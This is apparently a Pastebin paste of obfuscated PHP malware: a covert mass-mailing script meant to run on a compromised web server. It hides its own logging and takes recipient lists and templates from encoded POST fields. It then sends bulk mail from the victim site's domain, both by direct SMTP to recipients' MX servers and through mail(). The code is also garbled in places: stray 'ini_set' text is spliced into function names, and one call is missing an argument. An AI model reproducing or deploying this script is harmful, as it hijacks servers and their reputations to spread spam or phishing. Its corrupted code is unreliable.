Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $z26 = "jmiO@sxhFnD>J\r/u+RcHz3}g\nd{^8 ?eVwl_T\\\t|N5q)LobU]40!p%,rC-97k<'y=W:P\$1BI&S6\"E(K`Y~.Q;f[v2a#X*ZAGtM";
- $GLOBALS['mjwzy5'] = $
- {
- "_POST"
- };
- @error_reporting(NULL);
- @ini_set("error_log", NULL);
- @ini_set("log_errors", 0);
- define("DNS_TYPE_MX", 0x000F);
- define("DNS_TYPE_A", 0x0001);
- define("DNS_TYPE_NS", 0x0002);
- define("DNS_STEP_QESTION", 1);
- define("DNS_STEP_ANSWER", 2);
- define("DNS_STEP_AUTHORITY", 3);
- define("DNS_STEP_ADDITIONAL", 4);
- define("SOCKET_TYPE_SOCKET", 1);
- define("SOCKET_TYPE_FSOCKET", 2);
- define("SOCKET_TYPE_STREAM", 4);
- define("SOCKET_TYPE_NO", 5);
- define("SOCKET_PROTO_TCP", 1);
- define("SOCKET_PROTO_UDP", 2);
- define("STEP_CONNECT", 0);
- define("STEP_CONNECTED", 1);
- define("STEP_EHLO", 2);
- define("STEP_MAILFROM", 3);
- define("STEP_RCPTTO", 4);
- define("STEP_DATA", 5);
- define("STEP_BODY", 6);
- define("STEP_QUIT", 7);
- define("STEP_COMPLETED", 8);
- itwro48($z26, NULL);
- $mdbih30 = array(
- "toList" => "",
- "fromLogin" => "",
- "fromName" => "",
- "subjTempl" => "",
- "bodyTempl" => "",
- "hostFrom" => ""
- );
- if (FALSE == ikhls17($z26, $mdbih30))
- {
- echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]
- ";
- exit;
- }
- $kgjgx72 = array();
- for ($irsck14 = 0; $irsck14 < count($mdbih30["toList"]); $irsck14++)
- {
- $ijxwp10 = array(
- "id" => $irsck14,
- "g_mailto" => "",
- "g_mailto+" => "",
- "g_mailfrom" => "",
- "g_mailfrom+" => "",
- "g_domainto" => "",
- "g_domainfrom" => "",
- "g_namefirst" => "",
- "g_namelast" => "",
- "g_body" => "",
- "g_subject" => "",
- "g_fff" => FALSE,
- "g_header" => "",
- "g_headerfrom" => "",
- "s_header" => "",
- "s_mxhost" => "",
- "s_mxaddr" => FALSE,
- "s_sock" => FALSE,
- "s_time" => time() ,
- "s_step" => constant("STEP_CONNECT") ,
- "s_port" => 25,
- "s_datain" => "",
- "s_dataout" => "",
- "s_trig" => FALSE,
- "l_err" => "",
- "l_done" => FALSE,
- "l_way" => 0,
- "l_failsmtp" => FALSE,
- "l_smtp_end" => FALSE,
- );
- if (FALSE == xbzaw60($z26, $mdbih30["toList"][$irsck14], $mdbih30, $ijxwp10))
- {
- echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . jcrxt31($z26, $mdbih30["toList"][$irsck14]) . "]]
- ";
- continue;
- }
- $kgjgx72[] = $ijxwp10;
- }
- gtzjf94($z26, $kgjgx72);
- onsxx86($z26, $kgjgx72);
- nydwd49($z26, $kgjgx72);
- exit;
- function nydwd49($z26, $kgjgx72)
- {
- $zixzg2 = 0;
- $emwwo41 = "";
- for ($irsck14 = 0; $irsck14 < count($kgjgx72); $irsck14++)
- {
- if ($kgjgx72[$irsck14]["l_failsmtp"] == TRUE)
- {
- echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . jcrxt31($z26, $kgjgx72[$irsck14]["g_mailto"] . " :: " . $kgjgx72[$irsck14]["l_err"]) . "]]
- ";
- }
- if ($kgjgx72[$irsck14]["l_done"] == TRUE)
- {
- $emwwo41.= $kgjgx72[$irsck14]["l_way"];
- $zixzg2++;
- }
- }
- if ($zixzg2 == 0)
- {
- echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]
- ";
- }
- else
- {
- echo "OK+" . md5(1234567890) . "+" . $zixzg2 . "+" . count($kgjgx72) . "[" . $emwwo41 . "]
- ";
- }
- }
- function onsxx86($z26, &$kgjgx72)
- {
- if (!function_exists("mail"))
- {
- return FALSE;
- }
- for ($irsck14 = 0; $irsck14 < count($kgjgx72); $irsck14++)
- {
- if ($kgjgx72[$irsck14]["l_done"] == TRUE)
- {
- continue;
- }
- if ($kgjgx72[$irsck14]["g_fff"])
- {
- if (@mail($kgjgx72[$irsck14]["g_mailto+"], $kgjgx72[$irsck14]["g_subject"], $kgjgx72[$irsck14]["g_body"], $kgjgx72[$irsck14]["g_headerfrom"] . $kgjgx72[$irsck14]["g_header"], "-f" . $kgjgx72[$irsck14]["g_mailfrom"]))
- {
- $kgjgx72[$irsck14]["l_done"] = TRUE;
- $kgjgx72[$irsck14]["l_way"] = 2;
- }
- else
- {
- $kgjgx72[$irsck14]["l_done"] = FALSE;
- }
- }
- else
- {
- if (@mail($kgjgx72[$irsck14]["g_mailto+"], $kgjgx72[$irsck14]["g_subject"], $kgjgx72[$irsck14]["g_body"], $kgjgx72[$irsck14]["g_header"]))
- {
- $kgjgx72[$irsck14]["l_done"] = TRUE;
- $kgjgx72[$irsck14]["l_way"] = 2;
- }
- else
- {
- $kgjgx72[$irsck14]["l_done"] = FALSE;
- }
- }
- }
- }
- function gtzjf94($z26, &$kgjgx72)
- {
- while (hfrbo91($z26, $kgjgx72))
- {
- rmssi53($z26, $kgjgx72);
- usleep(25000);
- }
- }
- function vgefz59($z26, &$kgjgx72, $kkpzl95, $zbrar23, $doyaq76)
- {
- if ($kgjgx72[$kkpzl95]["s_sock"] != FALSE)
- {
- wowhk28($z26, $kgjgx72[$kkpzl95]["s_sock"]);
- }
- $kgjgx72[$kkpzl95]["l_err"] = "[" . $kgjgx72[$kkpzl95]["s_step"] . "]" . trim(preg_replace("/
- /", " ", $zbrar23));
- $kgjgx72[$kkpzl95]["l_failsmtp"] = $doyaq76;
- $kgjgx72[$kkpzl95]["l_smtp_end"] = TRUE;
- return;
- }
- function rmssi53($z26, &$kgjgx72)
- {
- $tbiem96 = time();
- foreach($kgjgx72 as $kkpzl95 => $ijxwp10)
- {
- if ($ijxwp10["l_smtp_end"] == TRUE)
- {
- continue;
- }
- if ($ijxwp10["s_time"] + 20 < $tbiem96)
- {
- if ($kgjgx72[$kkpzl95]["s_step"] == constant("STEP_CONNECT") && $kgjgx72[$kkpzl95]["s_port"] != 587)
- {
- wowhk28($z26, $kgjgx72[$kkpzl95]["s_sock"]);
- $kgjgx72[$kkpzl95]["s_port"] = 587;
- $kgjgx72[$kkpzl95]["s_time"] = time();
- continue;
- }
- vgefz59($z26, $kgjgx72, $kkpzl95, "timeout", FALSE);
- continue;
- }
- switch ($kgjgx72[$kkpzl95]["s_step"])
- {
- case constant("STEP_CONNECT"):
- if ($kgjgx72[$kkpzl95]["s_mxaddr"] == FALSE)
- {
- $kgjgx72[$kkpzl95]["s_mxaddr"] = @gethostbyname($kgjgx72[$kkpzl95]["s_mxhost"]);
- if (!@preg_match("/([0-9]{1,3}\.?){4}/", $kgjgx72[$kkpzl95]["s_mxaddr"]))
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, "resolve mx", FALSE);
- break;
- }
- }
- $qxohi56 = 0;
- $qhovh99 = '';
- $kgjgx72[$kkpzl95]["s_sock"] = jotsk26($z26, $kgjgx72[$kkpzl95]["s_sock"], constant("SOCKET_PROTO_TCP") , $kgjgx72[$kkpzl95]["s_mxaddr"], $kgjgx72[$kkpzl95]["s_port"], 2, $qxohi56, $qhovh99, TRUE);
- if ($kgjgx72[$kkpzl95]["s_sock"] == FALSE)
- {
- break;
- }
- if ($qxohi56 == 0 || $qxohi56 === 56 || $qxohi56 === 10056)
- {
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_CONNECTED");
- hrvzk54($z26, $kgjgx72[$kkpzl95]["s_sock"], 15);
- $kgjgx72[$kkpzl95]["s_time"] = time();
- }
- break;
- case constant("STEP_CONNECTED"):
- if (bchyk99($z26, $kgjgx72, $kkpzl95))
- {
- $kgjgx72[$kkpzl95]["s_datain"] = "";
- $kgjgx72[$kkpzl95]["s_dataout"] = "EHLO " . $kgjgx72[$kkpzl95]["g_domainfrom"] . "
- ";
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_EHLO");
- $kgjgx72[$kkpzl95]["s_time"] = time();
- }
- break;
- case constant("STEP_EHLO"):
- if (zncig12($z26, $kgjgx72, $kkpzl95))
- {
- if (bchyk99($z26, $kgjgx72, $kkpzl95))
- {
- if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
- break;
- }
- $kgjgx72[$kkpzl95]["s_datain"] = "";
- $kgjgx72[$kkpzl95]["s_dataout"] = "MAIL FROM:<" . $kgjgx72[$kkpzl95]["g_mailfrom"] . ">
- ";
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_MAILFROM");
- $kgjgx72[$kkpzl95]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_MAILFROM"):
- if (zncig12($z26, $kgjgx72, $kkpzl95))
- {
- if (bchyk99($z26, $kgjgx72, $kkpzl95))
- {
- if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
- break;
- }
- $kgjgx72[$kkpzl95]["s_datain"] = "";
- $kgjgx72[$kkpzl95]["s_dataout"] = "RCPT TO:<" . $kgjgx72[$kkpzl95]["g_mailto"] . ">
- ";
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_RCPTTO");
- $kgjgx72[$kkpzl95]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_RCPTTO"):
- if (zncig12($z26, $kgjgx72, $kkpzl95))
- {
- if (bchyk99($z26, $kgjgx72, $kkpzl95))
- {
- if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250 && substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 251)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
- break;
- }
- $kgjgx72[$kkpzl95]["s_datain"] = "";
- $kgjgx72[$kkpzl95]["s_dataout"] = "DATA
- ";
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_DATA");
- $kgjgx72[$kkpzl95]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_DATA"):
- if (zncig12($z26, $kgjgx72, $kkpzl95))
- {
- if (bchyk99($z26, $kgjgx72, $kkpzl95))
- {
- if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 354)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
- break;
- }
- $kgjgx72[$kkpzl95]["s_datain"] = "";
- $kgjgx72[$kkpzl95]["s_dataout"] = $kgjgx72[$kkpzl95]["s_header"] . "
- " . $kgjgx72[$kkpzl95]["g_body"] . "
- .
- ";
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_BODY");
- $kgjgx72[$kkpzl95]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_BODY"):
- if (zncig12($z26, $kgjgx72, $kkpzl95))
- {
- if (bchyk99($z26, $kgjgx72, $kkpzl95))
- {
- if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
- break;
- }
- $kgjgx72[$kkpzl95]["s_datain"] = "";
- $kgjgx72[$kkpzl95]["s_dataout"] = "QUIT
- ";
- $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_QUIT");
- $kgjgx72[$kkpzl95]["s_time"] = time();
- $kgjgx72[$kkpzl95]["l_done"] = TRUE;
- $kgjgx72[$kkpzl95]["l_way"] = 1;
- }
- break;
- }
- break;
- case constant("STEP_QUIT"):
- if (zncig12($z26, $kgjgx72, $kkpzl95))
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, "", FALSE);
- }
- break;
- }
- }
- }
- function bchyk99($z26, &$kgjgx72, $kkpzl95)
- {
- $qxohi56 = 0;
- $qhovh99 = "";
- if ($kgjgx72[$kkpzl95]["s_trig"] == FALSE)
- {
- if (strlen($kgjgx72[$kkpzl95]["s_datain"]) != 0)
- {
- return TRUE;
- }
- return FALSE;
- }
- $ssndb82 = dorhi25($z26, $kgjgx72[$kkpzl95]["s_sock"], 4086, $qxohi56, $qhovh99);
- if ($ssndb82 == FALSE || $ssndb82 == "")
- {
- if ($qxohi56 != 35 && $qxohi56 != 10035 && $qxohi56 != 11 && $qxohi56 != 10060)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $qhovh99, FALSE);
- return FALSE;
- }
- if (strlen($kgjgx72[$kkpzl95]["s_datain"]) != 0)
- {
- return TRUE;
- }
- return FALSE;
- }
- $kgjgx72[$kkpzl95]["s_datain"] = $ssndb82;
- return FALSE;
- }
- function zncig12($z26, &$kgjgx72, $kkpzl95)
- {
- $qxohi56 = 0;
- $qhovh99 = "";
- if (strlen($kgjgx72[$kkpzl95]["s_dataout"]) == 0)
- {
- return TRUE;
- }
- $ssndb82 = mqmpb31($z26, $kgjgx72[$kkpzl95]["s_sock"], $kgjgx72[$kkpzl95]["s_dataout"], $qxohi56, $qhovh99);
- if ($ssndb82 == FALSE)
- {
- if ($qxohi56 != 35 && $qxohi56 != 10035 && $qxohi56 != 11 && $qxohi56 != 10060)
- {
- vgefz59($z26, $kgjgx72, $kkpzl95, $qhovh99, FALSE);
- }
- return FALSE;
- }
- $kgjgx72[$kkpzl95]["s_dataout"] = substr($kgjgx72[$kkpzl95]["s_dataout"], $ssndb82);
- if (strlen($kgjgx72[$kkpzl95]["s_dataout"]) == 0)
- {
- return TRUE;
- }
- return FALSE;
- }
- function hfrbo91($z26, &$kgjgx72)
- {
- $smtab80 = FALSE;
- if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET"))
- {
- foreach(array_k"ini_set."eys($kgjgx72) as $kkpzl95)
- {
- if ($kgjgx72[$kkpzl95]["l_smtp_end"] != TRUE)
- {
- $kgjgx72[$kkpzl95]["s_trig"] = TRUE;
- $smtab80 = TRUE;
- }
- }
- return $smtab80;
- }
- $ckces20 = array();
- foreach(array_k"ini_set."eys($kgjgx72) as $kkpzl95)
- {
- if ($kgjgx72[$kkpzl95]["l_smtp_end"] != TRUE)
- {
- if ($kgjgx72[$kkpzl95]["s_sock"] == 0 || $kgjgx72[$kkpzl95]["s_step"] == constant("STEP_CONNECT"))
- {
- $kgjgx72[$kkpzl95]["s_trig"] = TRUE;
- }
- else
- {
- $kgjgx72[$kkpzl95]["s_trig"] = FALSE;
- $ckces20[] = $kgjgx72[$kkpzl95]["s_sock"];
- }
- $smtab80 = TRUE;
- }
- }
- if (count($ckces20) == 0)
- {
- return $smtab80;
- }
- $wzlix23 = @socket_select($ckces20, $ncwxo32 = NULL, $cdvox91 = NULL, 0);
- if ($wzlix23 == FALSE || $wzlix23 == 0)
- {
- return $smtab80;
- }
- foreach(array_k"ini_set."eys($kgjgx72) as $kkpzl95)
- {
- $kgjgx72[$kkpzl95]["s_trig"] = FALSE;
- foreach($ckces20 as $faifd7)
- {
- if ($kgjgx72[$kkpzl95]["s_sock"] == $faifd7)
- {
- $kgjgx72[$kkpzl95]["s_trig"] = TRUE;
- break;
- }
- }
- }
- return $smtab80;
- }
- function itwro48($z26, $xyslz28)
- {
- if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("socket_read") && function_exists("socket_write"))
- {
- define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET"));
- return TRUE;
- }
- if (function_exists("fsockopen"))
- {
- define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET"));
- return TRUE;
- }
- if (function_exists("stream_socket_client"))
- {
- define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM"));
- return TRUE;
- }
- define("SOCKET_TYPE", constant("SOCKET_TYPE_NO"));
- return FALSE;
- }
- function xbzaw60($z26, $gdyzo76, $mdbih30, &$ijxwp10)
- {
- $rpbtb4 = array();
- if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $gdyzo76, $rpbtb4))
- {
- return FALSE;
- }
- if (!isset($rpbtb4) || count($rpbtb4) != 5)
- {
- return FALSE;
- }
- $ijxwp10["g_namefirst"] = @ucfirst(str_replace(";", "", $rpbtb4[1]));
- $ijxwp10["g_namelast"] = @ucfirst(str_replace(";", "", $rpbtb4[2]));
- $ijxwp10["g_mailto"] = str_replace(";", "", $rpbtb4[3]);
- $ijxwp10["g_domainto"] = str_replace(";", "", $rpbtb4[4]);
- if (!isset($ijxwp10["g_mailto"]) || $ijxwp10["g_mailto"] == "")
- {
- return FALSE;
- }
- if (!isset($ijxwp10["g_domainto"]) || $ijxwp10["g_domainto"] == "")
- {
- return FALSE;
- }
- if (isset($ijxwp10["g_namefirst"]) && $ijxwp10["g_namefirst"] != "")
- {
- $ijxwp10["g_mailto+"] = """.$ijxwp10["g_namefirst"]."".$ijxwp10["g_namelast"]."" <" . $ijxwp10["g_mailto"] . ">";
- }
- else
- {
- $ijxwp10["g_mailto+"] = $ijxwp10["g_mailto"];
- }
- $ijxwp10["g_domainfrom"] = $mdbih30["hostFrom"];
- if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $mdbih30["hostFrom"]) || @ini_get("safe_mode"))
- {
- $ijxwp10["g_fff"] = FALSE;
- }
- else
- {
- $ijxwp10["g_fff"] = TRUE;
- }
- $ijxwp10["g_mailfrom"] = $mdbih30["fromLogin"] . "@" . $mdbih30["hostFrom"];
- if (isset($mdbih30["fromName"]) && $mdbih30["fromName"] != "")
- {
- $ijxwp10["g_mailfrom+"] = $mdbih30["fromName"] . " <" . $ijxwp10["g_mailfrom"] . ">";
- }
- else
- {
- $ijxwp10["g_mailfrom+"] = $ijxwp10["g_mailfrom"];
- }
- $ijxwp10["s_mxhost"] = xkjip29($z26, $ijxwp10["g_domainto"]);
- $ijxwp10["g_subject"] = @str_replace("%R_NAME%", $ijxwp10["g_namefirst"], $mdbih30["subjTempl"]);
- $ijxwp10["g_subject"] = @str_replace("%R_LNAME%", $ijxwp10["g_namelast"], $ijxwp10["g_subject"]);
- $ijxwp10["g_body"] = @str_replace("%R_NAME%", $ijxwp10["g_namefirst"], $mdbih30["bodyTempl"]);
- $ijxwp10["g_body"] = @str_replace("%R_LNAME%", $ijxwp10["g_namelast"], $ijxwp10["g_body"]);
- $ijxwp10["g_body"] = @str_replace("%MAIL_EN%", jcrxt31($z26, $ijxwp10["g_mailto"]) , $ijxwp10["g_body"]);
- $ijxwp10["g_header"] = "X-Priority: 3 (Normal)
- ";
- $ijxwp10["g_header"].= "MIME-Version: 1.0
- ";
- $ijxwp10["g_header"].= "Content-Type: text/html; charset="iso - 8859 - 1"
- ";
- $ijxwp10["g_header"].= "Content-Transfer-Encoding: 8bit
- ";
- $ijxwp10["g_headerfrom"] = "From: " . $ijxwp10["g_mailfrom+"] . "
- ";
- $ijxwp10["g_headerfrom"].= "Reply-To:" . $ijxwp10["g_mailfrom+"] . "
- ";
- $ijxwp10["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . "
- ";
- $ijxwp10["s_header"].= $ijxwp10["g_headerfrom"];
- $ijxwp10["s_header"].= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $mdbih30["hostFrom"] . ">
- ";
- $ijxwp10["s_header"].= "To: " . $ijxwp10["g_mailto+"] . "
- ";
- $ijxwp10["s_header"].= "Subject: " . $ijxwp10["g_subject"] . "
- ";
- $ijxwp10["s_header"].= $ijxwp10["g_header"];
- return TRUE;
- }
- function xkjip29($z26, $uhspo24)
- {
- $fqavb1 = array();
- $hwwwh60 = array();
- if (function_exists("getmxrr"))
- {
- @getmxrr($uhspo24, $fqavb1, $hwwwh60);
- }
- else
- {
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO"))
- {
- return FALSE;
- }
- $wzlix23 = nphbj94($z26, $uhspo24, constant("DNS_TYPE_MX"));
- if ($wzlix23 == FALSE || !isset($wzlix23["ans"]))
- {
- return FALSE;
- }
- foreach($wzlix23["ans"] as $ugagf46)
- {
- if ($ugagf46["type"] == constant("DNS_TYPE_MX"))
- {
- $fqavb1[] = $ugagf46["data"];
- $hwwwh60[] = $ugagf46["preference"];
- }
- }
- }
- if (count($fqavb1) == 0)
- {
- return FALSE;
- }
- $lhdfv83 = array_k"ini_set."eys($hwwwh60, min($hwwwh60));
- return $fqavb1[$lhdfv83[0]];
- }
- function ikhls17($z26, &$mdbih30)
- {
- if (count($GLOBALS['mjwzy5']) < 2)
- {
- return FALSE;
- }
- $aqxkr9 = false;
- $fiwht19 = $kbxes40 = "";
- foreach(array_k"ini_set."eys($GLOBALS['mjwzy5']) as $rmszw41)
- {
- if ($rmszw41[0] == "l")
- {
- $fiwht19 = $rmszw41;
- }
- if ($rmszw41[0] == "d")
- {
- $kbxes40 = $rmszw41;
- }
- if ($rmszw41[0] == "e")
- {
- $aqxkr9 = true;
- }
- }
- if ($fiwht19 == "" || $kbxes40 == "")
- {
- return FALSE;
- }
- $todgp59 = znlzs76($z26, $fiwht19, $aqxkr9);
- $mnzfy44 = znlzs76($z26, $kbxes40, $aqxkr9);
- if ($todgp59 == FALSE || $mnzfy44 == FALSE)
- {
- return FALSE;
- }
- $mdbih30["toList"] = @preg_split("/#/", $todgp59);
- $mdbih30["fromLogin"] = $mdbih30["fromName"] = $mdbih30["subjTempl"] = $mdbih30["bodyTempl"] = "";
- $rpbtb4 = array();
- if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
- {
- $mdbih30["fromLogin"] = $rpbtb4[1];
- }
- if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
- {
- $mdbih30["fromName"] = $rpbtb4[1];
- }
- if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
- {
- $mdbih30["subjTempl"] = $rpbtb4[1];
- }
- if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
- {
- $mdbih30["bodyTempl"] = $rpbtb4[1];
- }
- $mdbih30["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', $_SERVER["HTTP_HOST"]);
- return TRUE;
- }
- function znlzs76($z26, $rmszw41, $aqxkr9)
- {
- if (!isset($rmszw41) || $rmszw41 == "")
- {
- return FALSE;
- }
- $uikzk1 = @$GLOBALS['mjwzy5'][$rmszw41];
- if ($aqxkr9)
- {
- $uikzk1 = mcsos2($z26, $uikzk1);
- for ($lhdfv83 = 0; $lhdfv83 < strlen($uikzk1); $lhdfv83++)
- {
- $uikzk1[$lhdfv83] = chr(ord($uikzk1[$lhdfv83]) ^ 2);
- }
- }
- return urldecode(stripslashes($uikzk1));
- }
- function mcsos2($z26, $wbwms58)
- {
- $smtab80 = "";
- for ($irsck14 = 0; $irsck14 < 256; $irsck14++)
- {
- $pishb35[$irsck14] = chr($irsck14);
- }
- $woayt44 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1));
- $abcgp89 = array();
- preg_match_all("([A-z0-9+\/]{1,4})", $wbwms58, $abcgp89);
- foreach($abcgp89[0] as $yoqlr75)
- {
- $dfltb35 = 0;
- for ($irsck14 = 0; isset($yoqlr75[$irsck14]); $irsck14++)
- {
- $dfltb35 = ($dfltb35 << 6) + $woayt44[$yoqlr75[$irsck14]];
- if ($irsck14 > 0)
- {
- $smtab80.= $pishb35[$dfltb35 >> (4 - (2 * ($irsck14 - 1))) ];
- $dfltb35 = $dfltb35 & (0xf >> (2 * ($irsck14 - 1)));
- }
- }
- }
- return $smtab80;
- }
- function jcrxt31($z26, $kdxpk32)
- {
- for ($lhdfv83 = 0; $lhdfv83 < strlen($kdxpk32); $lhdfv83++)
- {
- $kdxpk32[$lhdfv83] = chr(ord($kdxpk32[$lhdfv83]) ^ 2);
- }
- return base64_encode($kdxpk32);
- }
- function jotsk26($z26, $cxtve87, $esjes80, $rvcis8, $mzwog99, $mljir34, &$qxohi56, &$qhovh99, $vanjd40 = false)
- {
- $jkase3 = "";
- $jiccl67 = NULL;
- $giusw3 = NULL;
- $qxohi56 = 0;
- $qhovh99 = "";
- if ($esjes80 == constant("SOCKET_PROTO_TCP"))
- {
- $jkase3 = "tcp";
- $jiccl67 = SOL_TCP;
- $giusw3 = SOCK_STREAM;
- }
- else
- if ($esjes80 == constant("SOCKET_PROTO_UDP"))
- {
- $jkase3 = "udp";
- $giusw3 = SOCK_DGRAM;
- $jiccl67 = SOL_UDP;
- }
- else
- {
- $qhovh99 = "Error: invalid protocol";
- return FALSE;
- }
- switch (constant("SOCKET_TYPE"))
- {
- case constant("SOCKET_TYPE_SOCKET"):
- if ($cxtve87 == FALSE)
- {
- $cxtve87 = @socket_create(AF_INET, $giusw3, $jiccl67);
- if ($cxtve87 == FALSE)
- {
- $qxohi56 = socket_last_error();
- $qhovh99 = socket_strerror($qxohi56);
- break;
- }
- socket_set_option($cxtve87, SOL_SOCKET, SO_REUSEADDR, 1);
- socket_set_option($cxtve87, SOL_SOCKET, SO_RCVTIMEO, array(
- "sec" => $mljir34,
- "usec" => 0
- ));
- socket_set_option($cxtve87, SOL_SOCKET, SO_SNDTIMEO, array(
- "sec" => $mljir34,
- "usec" => 0
- ));
- if ($vanjd40)
- {
- socket_set_nonblock($cxtve87);
- }
- }
- if (!@socket_connect($cxtve87, $rvcis8, $mzwog99))
- {
- $qxohi56 = socket_last_error($cxtve87);
- $qhovh99 = socket_strerror($qxohi56);
- }
- if ($vanjd40)
- {
- socket_set_nonblock($cxtve87);
- }
- break;
- case constant("SOCKET_TYPE_FSOCKET"):
- $cxtve87 = @fsockopen($jkase3 . "://" . $rvcis8, $mzwog99, $qxohi56, $qhovh99, $mljir34);
- if ($cxtve87 && $vanjd40)
- {
- @stream_set_blocking($cxtve87, 0);
- }
- @stream_set_timeout($cxtve87, $mljir34);
- break;
- case constant("SOCKET_TYPE_STREAM"):
- $cxtve87 = @stream_socket_client($jkase3 . "://" . $rvcis8 . ":" . $mzwog99, $qxohi56, $qhovh99, $mljir34);
- if ($cxtve87 && $vanjd40)
- {
- @stream_set_blocking($cxtve87, 0);
- }
- @stream_set_timeout($cxtve87, $mljir34);
- break;
- default:
- $qhovh99 = "Error: invalid socket type";
- return FALSE;
- }
- return $cxtve87;
- }
- function wowhk28($z26, &$cxtve87)
- {
- if ($cxtve87 == FALSE)
- {
- return;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
- {
- @socket_close($cxtve87);
- }
- else
- {
- @fclose($cxtve87);
- }
- $cxtve87 = FALSE;
- return;
- }
- function dorhi25($z26, $cxtve87, $mrbns89, &$qxohi56, &$qhovh99)
- {
- if ($cxtve87 == FALSE)
- {
- return FALSE;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
- {
- $smtab80 = @socket_read($cxtve87, $mrbns89, PHP_BINARY_READ);
- if ($smtab80 == FALSE)
- {
- $qxohi56 = socket_last_error($cxtve87);
- $qhovh99 = socket_strerror($qxohi56);
- }
- }
- else
- {
- if (@feof($cxtve87))
- {
- return FALSE;
- }
- $smtab80 = @fread($cxtve87, $mrbns89);
- if (strlen($smtab80) == 0)
- {
- $qxohi56 = 35;
- }
- }
- return $smtab80;
- }
- function mqmpb31($z26, $cxtve87, $ssndb82, &$qxohi56, &$qhovh99)
- {
- if ($cxtve87 == FALSE)
- {
- return FALSE;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
- {
- $smtab80 = @socket_write($cxtve87, $ssndb82);
- if ($smtab80 == FALSE)
- {
- $qxohi56 = socket_last_error($cxtve87);
- $qhovh99 = socket_strerror($qxohi56);
- }
- }
- else
- {
- if (@feof($cxtve87))
- {
- return FALSE;
- }
- $smtab80 = @fwrite($cxtve87, $ssndb82);
- }
- return $smtab80;
- }
- function hrvzk54($z26, $cxtve87, $mljir34)
- {
- if ($cxtve87 == FALSE)
- {
- return FALSE;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
- {
- @socket_set_option($cxtve87, SOL_SOCKET, SO_RCVTIMEO, array(
- "sec" => $mljir34,
- "usec" => 0
- ));
- @socket_set_option($cxtve87, SOL_SOCKET, SO_SNDTIMEO, array(
- "sec" => $mljir34,
- "usec" => 0
- ));
- }
- else
- {
- @stream_set_timeout($cxtve87, $mljir34);
- }
- return TRUE;
- }
- function nphbj94($z26, $uhspo24, $jflhq92)
- {
- $qxohi56 = 0;
- $qhovh99 = "";
- $cxtve87 = jotsk26($z26, FALSE, constant("SOCKET_PROTO_UDP") , "8.8.8.8", 53, 10, $qxohi56, $qhovh99);
- if (!$cxtve87)
- {
- return FALSE;
- }
- $clels79 = rand(0x0001, 0xFFFE);
- $owgby12 = explode(, $uhspo24);
- $uyafb15 = pack("nnnnnn", $clels79, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
- foreach($owgby12 as $qblja54)
- {
- $uyafb15.= pack("Ca*", strlen($qblja54) , $qblja54);
- }
